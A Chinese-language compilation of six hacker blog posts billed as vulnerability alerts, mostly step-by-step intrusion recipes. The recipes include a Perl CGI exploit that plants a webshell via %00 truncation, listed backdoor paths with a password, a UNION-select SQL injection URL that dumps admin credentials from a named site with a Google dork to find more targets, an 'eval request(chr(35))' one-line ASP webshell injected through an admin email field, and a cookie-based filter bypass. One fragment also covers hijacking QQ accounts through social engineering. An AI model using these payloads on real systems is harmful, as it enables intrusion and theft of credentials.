以下是小编给大家收集的一个CGI程序的漏洞挖掘漏洞预警,本文共6篇,欢迎大家前来参阅。

篇1:一个CGI程序的漏洞挖掘漏洞预警
来源:phpeval's BLOG
作者:phpeval
昨天一个朋友扔我了一个cgi程序,叫我想办法拿一个SHELL。
CGI的程序我可是从来没看过。遇到这种对于我来说全新的东西。真的是有点没办法。不过扔来了。就当学习。我硬着头皮看。下面把我学习CGI程序的代码。以及漏洞发现的过程。进行记录一下:
打开该CGI程序。发现根目录下只有两个文件。admin.cgi和另外一个CGI。
CGI的第一行:
#!/usr/bin/perl
猜想该代码应该是用perl解析的。不过可怜的是,我用PHP,asp,js,vbs等脚本。就是没用过perl。继续硬着头皮上。装上perl。 改解析类型。因为perl装上后。解析了pl等后缀。硬是没有解析我的cgi。根据pl解析的方式。加上了cgi的解析。发现解析竟然成功了。而且代码也 正常运行。第一步很顺利。:)
开始学习并分析代码了,我打开admin.cgi:
use lib './pl';use lib './config';require'config.pl';&GetFormData(',');…………$Work=$FORM{Work};$Work='Certify' unless(defined $Work);&$Work;………………
看来perl的语法和php和asp等现在流行的语法都不一样。
第一行和后面的use lib './pl';use lib './config'; 我理解成指定了包含库在什么位置。以便在第三句到第五句的时候require。果然这些pl文件是在这两个文件甲里面的。我测试把pl文件换一个位置。 use lib './xxx';这样来执行代码。果然能正常运行。代表我的猜测是正确的。
&GetFormData(','); 这句我着实理解了很久。最后得出结论。一个字符串前面加上了&符号。就是呼叫函数或者过程的意思。就像vbs的call的意思。php呼叫函数。 当然就不需要CALL什么的了。GetFormData这个函数是他们自己写的。作用是把传进去的参数赋值给$FORM。这样如果我们在浏览器上提交 Work=phpeval.cn 那么$FORM{Work}的值就是phpeval.cn了。
unless(defined $Work); 这句我的理解是if not的意思。就是如果否定的意思。。如果没有设置$Work那么$Work就等于Certify。
再下一句就是&$Work; 呼叫$Work 。这样的话。$Work可以自定义。 但是2的就是$Work好象不能带参数。不知道我说的对不对。所以我有很多函数。比如FileWrite函数我都直接利用不了。在他下面定义了一大批的 sub。看来就是让他们来调用的。我当然不能跟他们的思路走。我找找找。。
config.pl:
sub RegistAct {FileRead(“$DataDir/count.dat”,*CountLines);map{ Error(1006) if((split//)[0] eq $FORM{DataTitle}) } @CountLines;$RegistLine = “$FORM{DataTitle}$FORM{PageTitle}$FORM{RelatedUrl}$FORM{JumpUrl}000newnewnew\n”;FileWrite(“$DataDir/count.dat”,*RegistLine,1,1);&Unlock('DATA');Regist;}
相信这句已经不难懂了,
。FileWrite(“$DataDir/count.dat”,*RegistLine,1,1); 向“$DataDir/count.dat”写入数据$FORM{DataTitle}是自己定义的。我加上我的构造的cgi的代码。就写到 count.dat里面了。我提交语句
www.phpeval.cn/admin.cgi?Work=RegistAct&DataTitle=mycode
这样mycode 就被写入了count.dat文件。dat当然是不能被执行的。
不过幸好还有下面的函数。他的作用如果没有想错的话。应该是用来还原数据用的。不过没有验证。让我有机会了。
sub RecoveryAct {RefererCheck() if($MyUrl);MethodCheck () if($MethodChkMode);&Lock('DATA');FileRead(“$FORM{TargetFile}”,*BackupLines);FileWrite(“$FORM{DataDir}/count.dat”,*BackupLines);&Unlock('DATA');Recovery();}
我提交如下的连接:
www.phpeval.cn/admin.cgi?Work=RecoveryAct&TargetFile=DataDir/count.dat&DataDir=1.cgi%00
万幸的是%00终究还是截断了。呵呵。这样我的SHELL就出来了。
笔记:其实这个构造的过程是虚假的。因为cgi我刚刚接触。用来写马是需要很长时间的。但是幸运的是他们的服务器上还支持php.我直接备份出来的 是php的文件。所以构造这个东西我还是用的mycode来代替本来该写的cgi马。其实要写一个cgi马也不会困难到哪去。因为这个代码里面把目录遍 历,读文件。写文件的函数都构造好了。想改一个WEBSHELL也是不太难的。
本来是想写一个文章来介绍一下未知脚本漏洞的挖掘。但是没没有介绍到什么。本来写着写着想就写写cgi漏洞的挖掘。但是介绍得又太简单。最后干脆说公布一下这种程序的漏洞。但是这个程序少之又少。甚至我连CGI的马马都没做出来。人懒了。
篇2: 游戏网站程序0DAY漏洞预警
作者:amxking
挖掘:百事可乐
准确点应该算是backdoor
inurl:Find.asp 您的位置 >>客服中心 >>找回密码
直接传马:
www.XXX.com/user/situjiaduotu2.asp
一句话backdoor ,密码 : value
www.XXX.com/htmledit/Include/upfile_class.asp
www.XXX.com/htmledit\Include\DeCode.asp
读库提权:
D:\web\www.xxx.com\Inc\Config.asp
篇3:一个密码的沦陷漏洞预警
说社工强大,一点都没错,这次渗透让我有一点点成功感.,某日无聊在朋友那边拿了些QQ号玩.(都是6位一代的),先看了一些都不行,哎现在死TX搞的什么规定要挂很长时间才能改.
要到改的时间了,主人早发现了.
就社工下. 看了下QQ空间,貌似没什么利用的..
篇4:国外一Blog程序0day漏洞预警
作者:YJPS 请注明
近来无聊 去国外网站上转悠,看到一个不错的Blog系统,可以注册用户,并分配一个二级目录,
更无聊的就去检测了下,下面是分析结果。
站点:www.jj.ru/
漏洞地址:www.jj.ru/include/send_email.php?comment=1074
得到用户和密码
www.jj.ru/include/send_email.php?comment=1074+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,id,username,password,email),7,8,9+from+blogs_database.websiteadmin_admin_users+limit+1,1--
如想扩大战果,可GOOGLE里:inurl:send_email.php?comment=
漏洞危害不小,请勿借此破坏,
篇5:COCOON Counter统计程序漏洞总结漏洞预警
一、默认数据库:
counter/_db/db_CC_Counter6.mdb
也可直接打开:www.badguest.cn /Counter/utilities/update.asp
查看源文件,查找
COCOON Counter统计程序漏洞总结漏洞预警
。程序的问题。
二、暴路径漏洞
利用探针www.xxx.com /Counter/utilities/aspSysCheck.asp,查看网站路径。
三、注入
存在用户注入,猜解出用户的帐号和密码,无法拿SHELL只可社工利用。
www.badguest.cn /xxcount/core/default.asp?id=xxcnc
流量统计用户名是xxcnc,保存密码的表名是t_Site,用户名列是UID,密码列是PWD,登录页面(www.badguest.cn/xxcount/supervise/login.asp)
四、后台插马
需要进后台,可插一句拿SHELL,
不过大多说管理员密码都为admin,管理员密码并未保存在数据库中,在_inc/Common.asp中。
具体:进后台在管理信箱那把
cnhacker@263.net“:eval request(chr(35))//
复制过去,,点击保存,看下_inc/common.asp的内容。
WebMasterEmail = ”cnhacker@263.net\“:eval request(chr(35))//”
嘿嘿来执行下,嘿嘿!成功了,统计程序中的后台拿将“转义成了\”所以这用了evalrequest(chr(35))嘿嘿,//是注释,:在asp中就是换行,前提就是你能进到后台,(好多后台管理密码都是admin嘿嘿)php也可以这样的嘿嘿,而且比asp利用的地方更多!需要动下配置语句的前后搭配好,利用好一些符号。
另注:黑防也有人提到了类似方法,可以写成9xiao“%><%eval request(chr(35))%><%',这个方法也比较巧妙,//和'在asp都是注释语句!
by 逍遥复仇
提供修方案:
注意修改默认路径和默认密码。加强过滤和验证。
篇6:天下马ASP收信程序漏洞漏洞预警
最近看了八进制论坛上针对伯乐ASP收信程序的漏洞分析,通过提交数据达到获取webshell的方法!正好有朋友让我帮忙看一看天下马的提交问题!主要是由于有些程序使用者自定义了一些函数,使得原来的方法不能够绕过函数,但是昨天看了看,还是可以通过其他方法实现的!
首先,天下马的其他bug我们这里就不看了,直接看提交过程!
网上公布的提交过程是类似这种的连接:
www.xxx.com/post.asp?act=&d00=202&d01=
src=www.a.com>&d02=&d10=&d11=17000813&d20=&d21=&d22=&d23=&d30=天下马
&d31=&d32=1&d33=&d40=0&d41=0&d42=0&d50=&d51=&d98=&d99=123
返回如图1所示表示正常插入
我们来看看察看数据的页面及其部分源代码,如图2所示
但是有些程序却使用了一些自定义函数,针对提交的数据进行验证和过滤
我这里有一份代码如下:
[Copy to clipboard] [ - ]CODE:
相信很多朋友都已经看出来了,正如分析网站系统一样,这个自定义的代码只是针对Request.QueryString和Request.Form进行了过滤,没有对cookie提交的方式进行过滤!那么我们再看看天下马的获取方式
strAreaName = request(”d00“) //还有很多,只写出一个
....
....
if strAreaName ”“ then RS(”AreaName") = strAreaName //还有很多,只写出一个
....
....
这个是没有经过过滤的天下马的代码,增加自定义函数的页面是将request变量经过了Function CheckStr(ChkStr)的过滤,但是还有一种提交方式就是cookie提交!下面我们看看提交方法!
首先是针对正常提交时候进行抓包分析,然后进行数据包的构造,我这里构造的包如下(这里我将真实信息修改了,^_^):
[Copy to clipboard] [ - ]CODE:
GET /post.asp?
act=&d00=202&d02=&d11=17000813&d20=&d21=&d22=&d23=&d30=cookie&d31=&d32=1&d33=&d40=0&d41=0&d4
2=0&d50=&d51=&d98=&d99=123 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: xxx.com
Connection: Keep-Alive
Cookie: ASPSESSIONIDCATSSDRC=NAAGENEADMNBDLJJFMKLGMDO;d01=;d10=
这里的数据我们只需要把通过cookie提交的数据放入cookie项中就可以了,其他可以保持不变!
然后使用NC提交!
我们来看看察看数据的页面及其部分源代码,如图3所示
成功写入!
至于利用方法我想就不需要再多写了,朋友们自己去挖掘吧!
★iShowMusic V1.2 写入shell漏洞漏洞预警
★Android Linux Kernel 2.6本地DoS漏洞预警
★xheditor编辑器upload.php畸形文件上传漏洞漏洞预警
文档为doc格式